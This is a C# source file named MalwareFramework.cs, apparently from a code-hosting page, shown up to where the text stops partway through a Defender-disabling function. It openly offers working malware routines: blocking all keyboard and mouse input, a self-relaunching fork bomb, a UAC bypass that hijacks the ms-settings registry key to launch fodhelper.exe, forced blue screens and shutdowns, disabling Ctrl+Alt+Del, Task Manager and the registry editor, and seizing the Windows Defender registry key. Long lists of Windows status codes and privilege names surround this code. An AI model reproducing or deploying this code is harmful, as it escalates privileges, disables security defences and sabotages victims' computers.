-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathMalwareFramework.cs
917 lines (858 loc) · 40.1 KB
/
MalwareFramework.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
using Fernet;
using Microsoft.VisualBasic;
using Microsoft.Win32;
using Newtonsoft.Json;
using SharpHook;
using System;
using System.Collections.Concurrent;
using System.ComponentModel;
using System.Data.SqlTypes;
using System.Diagnostics;
using System.DirectoryServices.AccountManagement;
using System.Linq;
using System.Net;
using System.Numerics;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Security.Cryptography;
using System.Security.Principal;
using System.Text;
using System.Text.RegularExpressions;
namespace MalwareFramework;
public static class OperatingSystem
{
private static Lazy<OSPlatform> current = new Lazy<OSPlatform>(() => { return All.FirstOrDefault(p => RuntimeInformation.IsOSPlatform(p)); }, true);
private static Lazy<IEnumerable<OSPlatform>> all = new Lazy<IEnumerable<OSPlatform>>(() => { return new List<OSPlatform>() { OSPlatform.Windows, OSPlatform.OSX, OSPlatform.Linux, OSPlatform.FreeBSD }; });
public static IEnumerable<OSPlatform> All => all.Value;
public static OSPlatform Current => current.Value;
public static class Info
{
static Lazy<string> ip = new Lazy<string>(() => { return Dns.GetHostEntry(HostName).AddressList[0].ToString(); }, true);
static Lazy<string> hostName = new Lazy<string>(() => { return Dns.GetHostName(); }, true);
static Lazy<string> pcName = new Lazy<string>(() => { return Environment.MachineName; }, true);
public static string Ip { get => ip.Value; }
public static string HostName { get => hostName.Value; }
public static string PCName { get => pcName.Value; }
}
public static class Functions
{
static SimpleGlobalHook hook = null;
public static void ToggleInput()
{
if (hook == null || hook.IsDisposed)
{
hook = new SimpleGlobalHook();
hook.KeyPressed += (_, e) => e.SuppressEvent = true;
hook.MouseMoved += (_, e) => e.SuppressEvent = true;
hook.MouseDragged += (_, e) => e.SuppressEvent = true;
hook.MouseClicked += (_, e) => e.SuppressEvent = true;
hook.RunAsync();
}
hook.Dispose();
}
public static void ForkBomb() { Process.Start(Process.GetCurrentProcess().MainModule.FileName); }
}
public static class Windows
{
[Flags]
public enum ExitWindows : uint
{
LogOff = 0x00,
ShutDown = 0x01,
Reboot = 0x02,
PowerOff = 0x08,
RestartApps = 0x40,
Force = 0x04,
ForceIfHung = 0x10,
}
public enum NtStatus : uint
{
Success = 0x00000000,
Wait0 = 0x00000000,
Wait1 = 0x00000001,
Wait2 = 0x00000002,
Wait3 = 0x00000003,
Wait63 = 0x0000003f,
Abandoned = 0x00000080,
AbandonedWait0 = 0x00000080,
AbandonedWait1 = 0x00000081,
AbandonedWait2 = 0x00000082,
AbandonedWait3 = 0x00000083,
AbandonedWait63 = 0x000000bf,
UserApc = 0x000000c0,
KernelApc = 0x00000100,
Alerted = 0x00000101,
Timeout = 0x00000102,
Pending = 0x00000103,
Reparse = 0x00000104,
MoreEntries = 0x00000105,
NotAllAssigned = 0x00000106,
SomeNotMapped = 0x00000107,
OpLockBreakInProgress = 0x00000108,
VolumeMounted = 0x00000109,
RxActCommitted = 0x0000010a,
NotifyCleanup = 0x0000010b,
NotifyEnumDir = 0x0000010c,
NoQuotasForAccount = 0x0000010d,
PrimaryTransportConnectFailed = 0x0000010e,
PageFaultTransition = 0x00000110,
PageFaultDemandZero = 0x00000111,
PageFaultCopyOnWrite = 0x00000112,
PageFaultGuardPage = 0x00000113,
PageFaultPagingFile = 0x00000114,
CrashDump = 0x00000116,
ReparseObject = 0x00000118,
NothingToTerminate = 0x00000122,
ProcessNotInJob = 0x00000123,
ProcessInJob = 0x00000124,
ProcessCloned = 0x00000129,
FileLockedWithOnlyReaders = 0x0000012a,
FileLockedWithWriters = 0x0000012b,
Informational = 0x40000000,
ObjectNameExists = 0x40000000,
ThreadWasSuspended = 0x40000001,
WorkingSetLimitRange = 0x40000002,
ImageNotAtBase = 0x40000003,
RegistryRecovered = 0x40000009,
Warning = 0x80000000,
GuardPageViolation = 0x80000001,
DatatypeMisalignment = 0x80000002,
Breakpoint = 0x80000003,
SingleStep = 0x80000004,
BufferOverflow = 0x80000005,
NoMoreFiles = 0x80000006,
HandlesClosed = 0x8000000a,
PartialCopy = 0x8000000d,
DeviceBusy = 0x80000011,
InvalidEaName = 0x80000013,
EaListInconsistent = 0x80000014,
NoMoreEntries = 0x8000001a,
LongJump = 0x80000026,
DllMightBeInsecure = 0x8000002b,
Error = 0xc0000000,
Unsuccessful = 0xc0000001,
NotImplemented = 0xc0000002,
InvalidInfoClass = 0xc0000003,
InfoLengthMismatch = 0xc0000004,
AccessViolation = 0xc0000005,
InPageError = 0xc0000006,
PagefileQuota = 0xc0000007,
InvalidHandle = 0xc0000008,
BadInitialStack = 0xc0000009,
BadInitialPc = 0xc000000a,
InvalidCid = 0xc000000b,
TimerNotCanceled = 0xc000000c,
InvalidParameter = 0xc000000d,
NoSuchDevice = 0xc000000e,
NoSuchFile = 0xc000000f,
InvalidDeviceRequest = 0xc0000010,
EndOfFile = 0xc0000011,
WrongVolume = 0xc0000012,
NoMediaInDevice = 0xc0000013,
NoMemory = 0xc0000017,
NotMappedView = 0xc0000019,
UnableToFreeVm = 0xc000001a,
UnableToDeleteSection = 0xc000001b,
IllegalInstruction = 0xc000001d,
AlreadyCommitted = 0xc0000021,
AccessDenied = 0xc0000022,
BufferTooSmall = 0xc0000023,
ObjectTypeMismatch = 0xc0000024,
NonContinuableException = 0xc0000025,
BadStack = 0xc0000028,
NotLocked = 0xc000002a,
NotCommitted = 0xc000002d,
InvalidParameterMix = 0xc0000030,
ObjectNameInvalid = 0xc0000033,
ObjectNameNotFound = 0xc0000034,
ObjectNameCollision = 0xc0000035,
ObjectPathInvalid = 0xc0000039,
ObjectPathNotFound = 0xc000003a,
ObjectPathSyntaxBad = 0xc000003b,
DataOverrun = 0xc000003c,
DataLate = 0xc000003d,
DataError = 0xc000003e,
CrcError = 0xc000003f,
SectionTooReal = 0xc0000040,
PortConnectionRefused = 0xc0000041,
InvalidPortHandle = 0xc0000042,
SharingViolation = 0xc0000043,
QuotaExceeded = 0xc0000044,
InvalidPageProtection = 0xc0000045,
MutantNotOwned = 0xc0000046,
SemaphoreLimitExceeded = 0xc0000047,
PortAlreadySet = 0xc0000048,
SectionNotImage = 0xc0000049,
SuspendCountExceeded = 0xc000004a,
ThreadIsTerminating = 0xc000004b,
BadWorkingSetLimit = 0xc000004c,
IncompatibleFileMap = 0xc000004d,
SectionProtection = 0xc000004e,
EasNotSupported = 0xc000004f,
EaTooLarge = 0xc0000050,
NonExistentEaEntry = 0xc0000051,
NoEasOnFile = 0xc0000052,
EaCorruptError = 0xc0000053,
FileLockConflict = 0xc0000054,
LockNotGranted = 0xc0000055,
DeletePending = 0xc0000056,
CtlFileNotSupported = 0xc0000057,
UnknownRevision = 0xc0000058,
RevisionMismatch = 0xc0000059,
InvalidOwner = 0xc000005a,
InvalidPrimaryGroup = 0xc000005b,
NoImpersonationToken = 0xc000005c,
CantDisableMandatory = 0xc000005d,
NoLogonServers = 0xc000005e,
NoSuchLogonSession = 0xc000005f,
NoSuchPrivilege = 0xc0000060,
PrivilegeNotHeld = 0xc0000061,
InvalidAccountName = 0xc0000062,
UserExists = 0xc0000063,
NoSuchUser = 0xc0000064,
GroupExists = 0xc0000065,
NoSuchGroup = 0xc0000066,
MemberInGroup = 0xc0000067,
MemberNotInGroup = 0xc0000068,
LastAdmin = 0xc0000069,
WrongPassword = 0xc000006a,
IllFormedPassword = 0xc000006b,
PasswordRestriction = 0xc000006c,
LogonFailure = 0xc000006d,
AccountRestriction = 0xc000006e,
InvalidLogonHours = 0xc000006f,
InvalidWorkstation = 0xc0000070,
PasswordExpired = 0xc0000071,
AccountDisabled = 0xc0000072,
NoneMapped = 0xc0000073,
TooManyLuidsRequested = 0xc0000074,
LuidsExhausted = 0xc0000075,
InvalidSubAuthority = 0xc0000076,
InvalidAcl = 0xc0000077,
InvalidSid = 0xc0000078,
InvalidSecurityDescr = 0xc0000079,
ProcedureNotFound = 0xc000007a,
InvalidImageFormat = 0xc000007b,
NoToken = 0xc000007c,
BadInheritanceAcl = 0xc000007d,
RangeNotLocked = 0xc000007e,
DiskFull = 0xc000007f,
ServerDisabled = 0xc0000080,
ServerNotDisabled = 0xc0000081,
TooManyGuidsRequested = 0xc0000082,
GuidsExhausted = 0xc0000083,
InvalidIdAuthority = 0xc0000084,
AgentsExhausted = 0xc0000085,
InvalidVolumeLabel = 0xc0000086,
SectionNotExtended = 0xc0000087,
NotMappedData = 0xc0000088,
ResourceDataNotFound = 0xc0000089,
ResourceTypeNotFound = 0xc000008a,
ResourceNameNotFound = 0xc000008b,
ArrayBoundsExceeded = 0xc000008c,
FloatDenormalOperand = 0xc000008d,
FloatDivideByZero = 0xc000008e,
FloatInexactResult = 0xc000008f,
FloatInvalidOperation = 0xc0000090,
FloatOverflow = 0xc0000091,
FloatStackCheck = 0xc0000092,
FloatUnderflow = 0xc0000093,
IntegerDivideByZero = 0xc0000094,
IntegerOverflow = 0xc0000095,
PrivilegedInstruction = 0xc0000096,
TooManyPagingFiles = 0xc0000097,
FileInvalid = 0xc0000098,
InstanceNotAvailable = 0xc00000ab,
PipeNotAvailable = 0xc00000ac,
InvalidPipeState = 0xc00000ad,
PipeBusy = 0xc00000ae,
IllegalFunction = 0xc00000af,
PipeDisconnected = 0xc00000b0,
PipeClosing = 0xc00000b1,
PipeConnected = 0xc00000b2,
PipeListening = 0xc00000b3,
InvalidReadMode = 0xc00000b4,
IoTimeout = 0xc00000b5,
FileForcedClosed = 0xc00000b6,
ProfilingNotStarted = 0xc00000b7,
ProfilingNotStopped = 0xc00000b8,
NotSameDevice = 0xc00000d4,
FileRenamed = 0xc00000d5,
CantWait = 0xc00000d8,
PipeEmpty = 0xc00000d9,
CantTerminateSelf = 0xc00000db,
InternalError = 0xc00000e5,
InvalidParameter1 = 0xc00000ef,
InvalidParameter2 = 0xc00000f0,
InvalidParameter3 = 0xc00000f1,
InvalidParameter4 = 0xc00000f2,
InvalidParameter5 = 0xc00000f3,
InvalidParameter6 = 0xc00000f4,
InvalidParameter7 = 0xc00000f5,
InvalidParameter8 = 0xc00000f6,
InvalidParameter9 = 0xc00000f7,
InvalidParameter10 = 0xc00000f8,
InvalidParameter11 = 0xc00000f9,
InvalidParameter12 = 0xc00000fa,
MappedFileSizeZero = 0xc000011e,
TooManyOpenedFiles = 0xc000011f,
Cancelled = 0xc0000120,
CannotDelete = 0xc0000121,
InvalidComputerName = 0xc0000122,
FileDeleted = 0xc0000123,
SpecialAccount = 0xc0000124,
SpecialGroup = 0xc0000125,
SpecialUser = 0xc0000126,
MembersPrimaryGroup = 0xc0000127,
FileClosed = 0xc0000128,
TooManyThreads = 0xc0000129,
ThreadNotInProcess = 0xc000012a,
TokenAlreadyInUse = 0xc000012b,
PagefileQuotaExceeded = 0xc000012c,
CommitmentLimit = 0xc000012d,
InvalidImageLeFormat = 0xc000012e,
InvalidImageNotMz = 0xc000012f,
InvalidImageProtect = 0xc0000130,
InvalidImageWin16 = 0xc0000131,
LogonServer = 0xc0000132,
DifferenceAtDc = 0xc0000133,
SynchronizationRequired = 0xc0000134,
DllNotFound = 0xc0000135,
IoPrivilegeFailed = 0xc0000137,
OrdinalNotFound = 0xc0000138,
EntryPointNotFound = 0xc0000139,
ControlCExit = 0xc000013a,
PortNotSet = 0xc0000353,
DebuggerInactive = 0xc0000354,
CallbackBypass = 0xc0000503,
PortClosed = 0xc0000700,
MessageLost = 0xc0000701,
InvalidMessage = 0xc0000702,
RequestCanceled = 0xc0000703,
RecursiveDispatch = 0xc0000704,
LpcReceiveBufferExpected = 0xc0000705,
LpcInvalidConnectionUsage = 0xc0000706,
LpcRequestsNotAllowed = 0xc0000707,
ResourceInUse = 0xc0000708,
ProcessIsProtected = 0xc0000712,
VolumeDirty = 0xc0000806,
FileCheckedOut = 0xc0000901,
CheckOutRequired = 0xc0000902,
BadFileType = 0xc0000903,
FileTooLarge = 0xc0000904,
FormsAuthRequired = 0xc0000905,
VirusInfected = 0xc0000906,
VirusDeleted = 0xc0000907,
TransactionalConflict = 0xc0190001,
InvalidTransaction = 0xc0190002,
TransactionNotActive = 0xc0190003,
TmInitializationFailed = 0xc0190004,
RmNotActive = 0xc0190005,
RmMetadataCorrupt = 0xc0190006,
TransactionNotJoined = 0xc0190007,
DirectoryNotRm = 0xc0190008,
CouldNotResizeLog = 0xc0190009,
TransactionsUnsupportedRemote = 0xc019000a,
LogResizeInvalidSize = 0xc019000b,
RemoteFileVersionMismatch = 0xc019000c,
CrmProtocolAlreadyExists = 0xc019000f,
TransactionPropagationFailed = 0xc0190010,
CrmProtocolNotFound = 0xc0190011,
TransactionSuperiorExists = 0xc0190012,
TransactionRequestNotValid = 0xc0190013,
TransactionNotRequested = 0xc0190014,
TransactionAlreadyAborted = 0xc0190015,
TransactionAlreadyCommitted = 0xc0190016,
TransactionInvalidMarshallBuffer = 0xc0190017,
CurrentTransactionNotValid = 0xc0190018,
LogGrowthFailed = 0xc0190019,
ObjectNoLongerExists = 0xc0190021,
StreamMiniversionNotFound = 0xc0190022,
StreamMiniversionNotValid = 0xc0190023,
MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024,
CantOpenMiniversionWithModifyIntent = 0xc0190025,
CantCreateMoreStreamMiniversions = 0xc0190026,
HandleNoLongerValid = 0xc0190028,
NoTxfMetadata = 0xc0190029,
LogCorruptionDetected = 0xc0190030,
CantRecoverWithHandleOpen = 0xc0190031,
RmDisconnected = 0xc0190032,
EnlistmentNotSuperior = 0xc0190033,
RecoveryNotNeeded = 0xc0190034,
RmAlreadyStarted = 0xc0190035,
FileIdentityNotPersistent = 0xc0190036,
CantBreakTransactionalDependency = 0xc0190037,
CantCrossRmBoundary = 0xc0190038,
TxfDirNotEmpty = 0xc0190039,
IndoubtTransactionsExist = 0xc019003a,
TmVolatile = 0xc019003b,
RollbackTimerExpired = 0xc019003c,
TxfAttributeCorrupt = 0xc019003d,
EfsNotAllowedInTransaction = 0xc019003e,
TransactionalOpenNotAllowed = 0xc019003f,
TransactedMappingUnsupportedRemote = 0xc0190040,
TxfMetadataAlreadyPresent = 0xc0190041,
TransactionScopeCallbacksNotSet = 0xc0190042,
TransactionRequiredPromotion = 0xc0190043,
CannotExecuteFileInTransaction = 0xc0190044,
TransactionsNotFrozen = 0xc0190045,
MaximumNtStatus = 0xffffffff
}
[Flags]
public enum ShutdownReason : uint
{
MajorApplication = 0x00040000,
MajorHardware = 0x00010000,
MajorLegacyApi = 0x00070000,
MajorOperatingSystem = 0x00020000,
MajorOther = 0x00000000,
MajorPower = 0x00060000,
MajorSoftware = 0x00030000,
MajorSystem = 0x00050000,
MinorBlueScreen = 0x0000000F,
MinorCordUnplugged = 0x0000000b,
MinorDisk = 0x00000007,
MinorEnvironment = 0x0000000c,
MinorHardwareDriver = 0x0000000d,
MinorHotfix = 0x00000011,
MinorHung = 0x00000005,
MinorInstallation = 0x00000002,
MinorMaintenance = 0x00000001,
MinorMMC = 0x00000019,
MinorNetworkConnectivity = 0x00000014,
MinorNetworkCard = 0x00000009,
MinorOther = 0x00000000,
MinorOtherDriver = 0x0000000e,
MinorPowerSupply = 0x0000000a,
MinorProcessor = 0x00000008,
MinorReconfig = 0x00000004,
MinorSecurity = 0x00000013,
MinorSecurityFix = 0x00000012,
MinorSecurityFixUninstall = 0x00000018,
MinorServicePack = 0x00000010,
MinorServicePackUninstall = 0x00000016,
MinorTermSrv = 0x00000020,
MinorUnstable = 0x00000006,
MinorUpgrade = 0x00000003,
MinorWMI = 0x00000015,
FlagUserDefined = 0x40000000,
FlagPlanned = 0x80000000
}
[Flags]
public enum ProcessAccessFlags : uint
{
Terminate = 0x00000001,
CreateThread = 0x00000002,
VMOperation = 0x00000008,
VMRead = 0x00000010,
VMWrite = 0x00000020,
DupHandle = 0x00000040,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
Synchronize = 0x00100000,
All = 0x001F0FFF
}
[Flags]
public enum AllocationType
{
Commit = 0x00001000,
Reserve = 0x00002000,
Decommit = 0x00004000,
Release = 0x00008000,
Reset = 0x00080000,
TopDown = 0x00100000,
WriteWatch = 0x00200000,
Physical = 0x00400000,
LargePages = 0x20000000
}
[Flags]
public enum MemoryProtection
{
NoAccess = 0x0001,
ReadOnly = 0x0002,
ReadWrite = 0x0004,
WriteCopy = 0x0008,
Execute = 0x0010,
ExecuteRead = 0x0020,
ExecuteReadWrite = 0x0040,
ExecuteWriteCopy = 0x0080,
GuardModifierflag = 0x0100,
NoCacheModifierflag = 0x0200,
WriteCombineModifierflag = 0x0400
}
public static class Privilege
{
public const string CreateToken = "SeCreateTokenPrivilege";
public const string AssignPrimaryToken = "SeAssignPrimaryTokenPrivilege";
public const string LockMemory = "SeLockMemoryPrivilege";
public const string IncreaseQuota = "SeIncreaseQuotaPrivilege";
public const string UnsolicitedInput = "SeUnsolicitedInputPrivilege";
public const string MachineAccount = "SeMachineAccountPrivilege";
public const string TrustedComputingBase = "SeTcbPrivilege";
public const string Security = "SeSecurityPrivilege";
public const string TakeOwnership = "SeTakeOwnershipPrivilege";
public const string LoadDriver = "SeLoadDriverPrivilege";
public const string SystemProfile = "SeSystemProfilePrivilege";
public const string SystemTime = "SeSystemtimePrivilege";
public const string ProfileSingleProcess = "SeProfileSingleProcessPrivilege";
public const string IncreaseBasePriority = "SeIncreaseBasePriorityPrivilege";
public const string CreatePageFile = "SeCreatePagefilePrivilege";
public const string CreatePermanent = "SeCreatePermanentPrivilege";
public const string Backup = "SeBackupPrivilege";
public const string Restore = "SeRestorePrivilege";
public const string Shutdown = "SeShutdownPrivilege";
public const string Debug = "SeDebugPrivilege";
public const string Audit = "SeAuditPrivilege";
public const string SystemEnvironment = "SeSystemEnvironmentPrivilege";
public const string ChangeNotify = "SeChangeNotifyPrivilege";
public const string RemoteShutdown = "SeRemoteShutdownPrivilege";
public const string Undock = "SeUndockPrivilege";
public const string SyncAgent = "SeSyncAgentPrivilege";
public const string EnableDelegation = "SeEnableDelegationPrivilege";
public const string ManageVolume = "SeManageVolumePrivilege";
public const string Impersonate = "SeImpersonatePrivilege";
public const string CreateGlobal = "SeCreateGlobalPrivilege";
public const string TrustedCredentialManagerAccess = "SeTrustedCredManAccessPrivilege";
public const string ReserveProcessor = "SeReserveProcessorPrivilege";
}
[StructLayout(LayoutKind.Sequential)]
public struct Luid
{
public Int32 lowPart;
public Int32 highPart;
}
[StructLayout(LayoutKind.Sequential)]
public struct LuidPlusAttributes
{
public Luid Luid;
public int Attributes;
}
[StructLayout(LayoutKind.Sequential)]
public struct TokenPrivileges
{
public int PrivilegeCount;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 64)]
public LuidPlusAttributes[] Privileges;
}
[Flags]
public enum PrivilegeAttributes
{
Disabled = 0,
EnabledByDefault = 1,
Enabled = 2,
Removed = 4,
UsedForAccess = -2147483648
}
[Flags]
public enum TokenAccessRights
{
AssignPrimary = 0,
Duplicate = 1,
Impersonate = 4,
Query = 8,
QuerySource = 16,
AdjustPrivileges = 32,
AdjustGroups = 64,
AdjustDefault = 128,
AdjustSessionId = 256,
AllAccess = AccessTypeMasks.StandardRightsRequired | AssignPrimary | Duplicate | Impersonate | Query | QuerySource | AdjustPrivileges | AdjustGroups | AdjustDefault | AdjustSessionId,
Read = AccessTypeMasks.StandardRightsRead | Query,
Write = AccessTypeMasks.StandardRightsWrite | AdjustPrivileges | AdjustGroups | AdjustDefault,
Execute = AccessTypeMasks.StandardRightsExecute | Impersonate
}
[Flags]
internal enum AccessTypeMasks
{
Delete = 65536,
ReadControl = 131072,
WriteDAC = 262144,
WriteOwner = 524288,
Synchronize = 1048576,
StandardRightsRequired = 983040,
StandardRightsRead = ReadControl,
StandardRightsWrite = ReadControl,
StandardRightsExecute = ReadControl,
StandardRightsAll = 2031616,
SpecificRightsAll = 65535
}
public static class Functions
{
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
internal static extern bool AdjustTokenPrivileges([In] IntPtr accessTokenHandle, [In, MarshalAs(UnmanagedType.Bool)] bool disableAllPrivileges, [In] ref TokenPrivileges newState, [In] int bufferLength, [In, Out] ref TokenPrivileges previousState, [In, Out] ref int returnLength);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
internal static extern bool CloseHandle([In] IntPtr handle);
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool OpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
internal static extern bool LookupPrivilegeName([In] string systemName, [In] ref Luid luid, [In, Out] StringBuilder name, [In, Out] ref int nameLength);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
internal static extern bool LookupPrivilegeValue([In] string systemName, [In] string name, [In, Out] ref Luid luid);
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
internal static extern bool OpenProcessToken([In] IntPtr processHandle, [In] TokenAccessRights desiredAccess, [In, Out] ref IntPtr tokenHandle);
[DllImport("ntdll.dll")]
static extern uint NtRaiseHardError(uint ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, IntPtr Parameters, uint ValidResponseOption, out uint Response);
[DllImport("user32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool ExitWindowsEx(ExitWindows uFlags, ShutdownReason dwReason);
[DllImport("user32.dll")]
static extern void LockWorkStation();
public static bool SetPrivilege(string sPrivilege, bool enablePrivilege)
{
TokenPrivileges newTP = new TokenPrivileges();
TokenPrivileges oldTP = new TokenPrivileges();
Luid luid = new Luid();
int retrunLength = 0;
IntPtr processToken = IntPtr.Zero;
bool blRc = OpenProcessToken(Process.GetCurrentProcess().Handle, TokenAccessRights.AllAccess, ref processToken);
if (blRc == false) { return false; }
if (blRc = LookupPrivilegeValue(null, sPrivilege, ref luid) == false) { return false; }
newTP.PrivilegeCount = 1;
newTP.Privileges = new LuidPlusAttributes[64];
newTP.Privileges[0].Luid = luid;
newTP.Privileges[0].Attributes = enablePrivilege ? (int)PrivilegeAttributes.Enabled : (int)PrivilegeAttributes.Disabled;
oldTP.PrivilegeCount = 64;
oldTP.Privileges = new LuidPlusAttributes[64];
return AdjustTokenPrivileges(processToken, false, ref newTP, 16, ref oldTP, ref retrunLength);
}
public static Process[] GetInstancesOfMyself() { return Process.GetProcessesByName(Process.GetCurrentProcess().ProcessName).Where(proc => proc.MainModule.FileName == Process.GetCurrentProcess().MainModule.FileName && proc.Id == Process.GetCurrentProcess().Id).ToArray(); }
public static bool IsAdmin() { return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); }
public static void RestartAsAdmin()
{
RegistryKey regKey = Registry.CurrentUser.CreateSubKey(@"Software\Classes\ms-settings\shell\open\command");
if (IsAdmin()) {
regKey = Registry.CurrentUser.CreateSubKey(@"Software\Classes\");
regKey.DeleteSubKeyTree("ms-settings", false);
regKey.Close();
return;
}
regKey.SetValue("", $"cmd /c cd {Process.GetCurrentProcess().MainModule.FileName}");
regKey.SetValue("DelegateExecute", 0);
regKey.Close();
Process.Start("cmd", $"/c start {Path.Combine(Environment.SystemDirectory, "fodhelper.exe")}");
Process.Start("cmd", $"/c start {Path.Combine(Environment.SystemDirectory, "computerdefaults.exe")}");
Environment.Exit(0);
}
public static void Lock() { LockWorkStation(); }
public static void BSOD()
{
SetPrivilege(Privilege.Shutdown, true);
NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out _);
}
public static void Shutdown()
{
SetPrivilege(Privilege.Shutdown, true);
ExitWindowsEx(ExitWindows.PowerOff, ShutdownReason.MajorOperatingSystem | ShutdownReason.MinorHardwareDriver);
}
public static void Reboot()
{
SetPrivilege(Privilege.Shutdown, true);
ExitWindowsEx(ExitWindows.RestartApps, ShutdownReason.MajorOperatingSystem | ShutdownReason.MinorHardwareDriver);
}
public static void LogOff()
{
SetPrivilege(Privilege.Shutdown, true);
ExitWindowsEx(ExitWindows.Force, ShutdownReason.MajorOperatingSystem | ShutdownReason.MinorHardwareDriver);
}
public static void ToggleCtrlAltDel(bool autoRestart = true)
{
RegistryKey regKey = Registry.LocalMachine.CreateSubKey(@"System\CurrentControlSet\Control\Keyboard Layout");
regKey.SetValue("Scancode Map", (byte[])regKey.GetValue("Scancode Map") == new byte[] { 0, 0, 0, 0, 0, 0, 0, 0, 0x3, 0, 0, 0, 0x4d, 0xe0, 0x1d, 0xe0, 0x4b, 0xe0, 0x1d, 0, 0, 0, 0, 0 } ? new byte[0] : new byte[] { 0, 0, 0, 0, 0, 0, 0, 0, 0x3, 0, 0, 0, 0x4d, 0xe0, 0x1d, 0xe0, 0x4b, 0xe0, 0x1d, 0, 0, 0, 0, 0 });
regKey.Close();
if (autoRestart) { Reboot(); }
}
public static void ToggleTaskManager()
{
RegistryKey regKey = Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\System");
regKey.SetValue("DisableTaskMgr", regKey.GetValue("DisableTaskMgr") == "1" ? "0" : "1");
regKey.Close();
}
public static void ToggleRegistryEditor()
{
RegistryKey regKey = Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\System");
regKey.SetValue("DisableRegistryTools", regKey.GetValue("DisableRegistryTools") == "1" ? "0" : "1");
regKey.Close();
}
public static void ToggleDefender()
{
if (!SetPrivilege(Privilege.TakeOwnership, true)) { throw new PrivilegeNotHeldException(Privilege.TakeOwnership); }
if (!SetPrivilege(Privilege.Restore, true)) { throw new PrivilegeNotHeldException(Privilege.Restore); }
RegistryKey defenderReg = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows Defender\Features", RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.TakeOwnership);
